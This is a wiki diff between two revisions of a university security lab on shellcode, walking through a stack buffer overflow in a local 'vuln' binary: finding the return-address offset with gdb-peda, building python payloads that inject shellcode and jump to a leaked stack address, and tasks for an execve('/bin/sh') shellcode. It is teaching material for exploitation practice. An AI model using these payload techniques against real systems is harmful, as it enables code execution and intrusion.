This shows you the differences between two versions of the page.
cns:labs:lab-04 [2020/11/02 01:56] dennis.plosceanu [Intro] pronouns |
cns:labs:lab-04 [2022/10/31 17:22] (current) mihai.dumitru2201 [Tasks] |
||
---|---|---|---|
Line 28: | Line 28: | ||
</note> | </note> | ||
- | You can also use IDA tool in order to analyze the binaries and the disassembled code. | + | You can also use Ghidra/IDA tool in order to analyze the binaries and the disassembled code. You can read more about using IDA [[cns:extra:ida|here]]. |
- | ===== Debugging with IDA ===== | ||
- | [[https://www.hex-rays.com/products/ida/ida-executive.pdf| IDA]] is a: | ||
- | * disassembler (As a disassembler, IDA explores binary programs, for which source code isn't always available, to create maps of their execution) | ||
- | * debugger ( IDA can be used as a local and as a remote debugger on various platforms, including the ubiquitous 80x86, typically Windows/Linux and the ARM platform and other platforms) | ||
- | * decompiler (IDA can transform binary applications into a high level readable text. Unlike disassemblers, which perform the same task at a lower level, the decompiler output is concise, closer to the standard way programmers use to write applications). | ||
- | You can see an example with vuln binary from lab-03 archive disassembled in IDA here: | + | ===== Tutorial ===== |
- | {{:cns:labs:ida-vuln.jpg?700|}} | + | For this tutorial, our goal is to write, inject and use a simple shellcode. In the following steps, we will analyze a simple program, test payloads, assess the vulnerability, then create a shellcode and exploit the program. We will use a very simple shellcode, one that does: |
- | + | ||
- | Also, the decompiled version of the vuln binary with IDA can be seen here: | + | |
- | + | ||
- | {{:cns:labs:ida-vuln-decompile.jpg?700|}} | + | |
- | + | ||
- | + | ||
- | You can see a more complex example, taken from ida tutorial screenshots here: | + | |
- | + | ||
- | {{:cns:labs:ida.gif?700|}} | + | |
- | + | ||
- | + | ||
- | + | ||
- | ===== Tutorial ===== | + | |
- | Let's write a simple shellcode which performs | ||
<code C> | <code C> | ||
exit(1337); | exit(1337); | ||
Line 86: | Line 67: | ||
You may already see what the vulnerability consists of. | You may already see what the vulnerability consists of. | ||
- | Inspect the binary using IDA debugging tool. | ||
- | |||
- | You can also find a list with basic IDA commands here: | ||
- | [[ https://www.hex-rays.com/products/ida/support/freefiles/IDA_Pro_Shortcuts.pdf | IDA cheatsheet]] | ||
==== Phase 2: Finding the vulnerability ==== | ==== Phase 2: Finding the vulnerability ==== | ||
Line 129: | Line 106: | ||
Stopped reason: SIGSEGV | Stopped reason: SIGSEGV | ||
0x0000000000400567 in main () | 0x0000000000400567 in main () | ||
- | gdb-peda$ patto A3AA | + | gdb-peda$ patto AAdAA3AA |
AAdAA3AA found at offset: 64 | AAdAA3AA found at offset: 64 | ||
</code> | </code> | ||
- | Notice that the program crashed. We can quickly determine that the program tried to return to **0x4141334141644141**, which is in an unmapped region of memory, and thus triggered a fault. This value corresponds to the unique quad group "A3AA" found at offset 64 in the pattern. This offset is where the return address is situated relative to our input. | + | Notice that the program crashed. We can quickly determine that the program tried to return to **0x4141334141644141**, which is in an unmapped region of memory, and thus triggered a fault. This value corresponds to the unique quad group "AAdAA3AA" found at offset 64 in the pattern. This offset is where the old RBP is situated relative to our input. |
==== Phase 3: Reliable crash ==== | ==== Phase 3: Reliable crash ==== | ||
Line 142: | Line 119: | ||
We can construct this test sequence using python from the command line: | We can construct this test sequence using python from the command line: | ||
<code bash> | <code bash> | ||
- | python -c "print 'A'*72 + 'BBBBBB'" | + | python -c "print('A'*72 + 'BBBBBB')" |
</code> | </code> | ||
Line 148: | Line 125: | ||
<code asm> | <code asm> | ||
- | gdb-peda$ r <<< `python -c "print ('A'*72 + 'BBBBBB')"` | + | gdb-peda$ r <<< `python -c "print('A'*72 + 'BBBBBB')"` |
- | Starting program: /home/stefania/cns-labs-2018/lab-06/skel/vuln <<< `python -c "print ('A'*72 + 'BBBBBB')"` | + | Starting program: /home/stefania/cns-labs-2018/lab-06/skel/vuln <<< `python -c "print('A'*72 + 'BBBBBB')"` |
Enjoy your leak: 0x7fffffffdc90 | Enjoy your leak: 0x7fffffffdc90 | ||
Line 256: | Line 233: | ||
<code bash> | <code bash> | ||
- | python -c "print len('$(./bin_to_hex.sh shell.bin)')" | + | wc -c shell.bin |
- | 12 | + | 12 shell.bin |
</code> | </code> | ||
Line 263: | Line 240: | ||
<code bash> | <code bash> | ||
- | python -c "print '$(./bin_to_hex.sh shell.bin)' + 'A'*(72-12)" | + | python -c "import sys; sys.stdout.buffer.write(b'$(./bin_to_hex.sh shell.bin)' + b'A'*(72-12))" |
</code> | </code> | ||
Line 322: | Line 299: | ||
<code bash> | <code bash> | ||
- | python -c "print '$(./bin_to_hex.sh shell.bin)' + 'A'*(72-12) + '\x90\xdc\xff\xff\xff\xff'" > payload | + | python -c "import sys; sys.stdout.buffer.write(b'$(./bin_to_hex.sh shell.bin)' + b'A'*(72-12) + b'\x90\xdc\xff\xff\xff\x7f')" > payload |
gdb-peda$ r < payload | gdb-peda$ r < payload | ||
Starting program: vuln < payload | Starting program: vuln < payload | ||
Line 392: | Line 369: | ||
<code asm> | <code asm> | ||
+ | BITS 64 | ||
+ | |||
jmp string | jmp string | ||
start: | start: | ||
- | pop rcx ; pop address of `hello` variable in rcx | + | pop rsi ; pop address of `hello` variable in rsi (the 2nd syscall argument on 64 bits) |
[...] | [...] | ||
+ | syscall ; do syscall on 64 bits | ||
string: | string: | ||
call start ; jump/trampoline back to start while storing the address of `hello` on the stack | call start ; jump/trampoline back to start while storing the address of `hello` on the stack | ||
Line 401: | Line 381: | ||
</code> | </code> | ||
- | The call instruction will push the address of the next "instruction" (in this case, our string), onto the stack. | + | The ''call'' instruction will push the address of the next "instruction" (in this case, our string), onto the stack. |
</note> | </note> | ||
Line 409: | Line 389: | ||
<code C> | <code C> | ||
- | execve('/bin/sh', ['/bin/sh'], 0); | + | execve("/bin/sh", ["/bin/sh", NULL], NULL); |
</code> | </code> | ||
- | Where //['/bin/sh']// denotes the **address** of the string '/bin/sh'. | + | Where ''["/bin/sh", NULL]'' denotes the **address** of the array of two strings address: the address of the ''"/bin/sh"'' string and the ''NULL'' address. |
<note tip> | <note tip> | ||
- | You need to get the string '/bin/sh' on the stack. You can do this using the hack from the write challenge. | + | You need to get the address of the string ''"/bin/sh"'' on the stack. |
+ | You can do this using the hack from the write challenge. | ||
</note> | </note> | ||
<note tip> | <note tip> | ||
- | You can browse around shellstorm for examples; however, keep in mind that they may not work due to some registers not being set properly. | + | You can browse around shellstorm for examples; |
+ | however, keep in mind that they may not work due to some registers not being set properly. | ||
</note> | </note> | ||
==== 3. execve with no zeros ==== | ==== 3. execve with no zeros ==== |